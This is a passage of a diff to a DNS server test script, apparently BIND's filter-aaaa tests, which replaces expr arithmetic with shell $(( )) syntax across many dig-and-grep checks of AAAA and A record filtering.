 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
@@ -832,9 +836,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns1.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns1.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
@@ -842,9 +846,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns1.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns1.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, signed, qtype=ANY and DO is set ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
@@ -852,9 +856,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
@@ -862,9 +866,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns1.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns1.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
@@ -872,48 +876,48 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns1.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv4 ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 2001:db8::6 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec ns unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep AAAA dig.out.ns1.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns1.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, signed ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv4 ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 
 #
@@ -921,68 +925,68 @@ status=`expr $status + $ret`
 #	filter-aaaa-on-v6 break-dnssec;
 #	filter-aaaa { fd92:7065:b8e:ffff::4; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep ::2 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep ::5 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed and DO set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
@@ -990,9 +994,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns4.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
@@ -1000,9 +1004,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns4.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
@@ -1010,9 +1014,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns4.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
@@ -1020,9 +1024,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns4.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
@@ -1030,48 +1034,48 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns4.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv4 with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep 2001:db8::6 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec ns unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep AAAA dig.out.ns4.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns4.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns4.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, signed, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns4.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv4, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns4.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 
 #
@@ -1079,24 +1083,24 @@ status=`expr $status + $ret`
 #	filter-aaaa-on-v6 yes;
 #	filter-aaaa { fd92:7065:b8e:ffff::2; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::2 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep ::5 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1104,9 +1108,9 @@ grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1114,18 +1118,18 @@ grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist, signed and DO set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned +dnssec -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1133,18 +1137,18 @@ grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1152,9 +1156,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1162,9 +1166,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, signed, qtype=ANY and DO is set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1173,9 +1177,9 @@ grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1183,9 +1187,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl, recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
@@ -1193,49 +1197,49 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns2.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv4, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep 2001:db8::6 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec ns unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep AAAA dig.out.ns2.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns2.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns2.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, signed ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns2.test$n > /dev/null 2>&1 || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv4 ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns2.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 
 #
@@ -1243,24 +1247,24 @@ status=`expr $status + $ret`
 #	filter-aaaa-on-v6 yes;
 #	filter-aaaa { fd92:7065:b8e:ffff::3; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null || ret=1
 grep ::2 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep ::5 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1268,9 +1272,9 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1278,18 +1282,18 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed and DO set, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
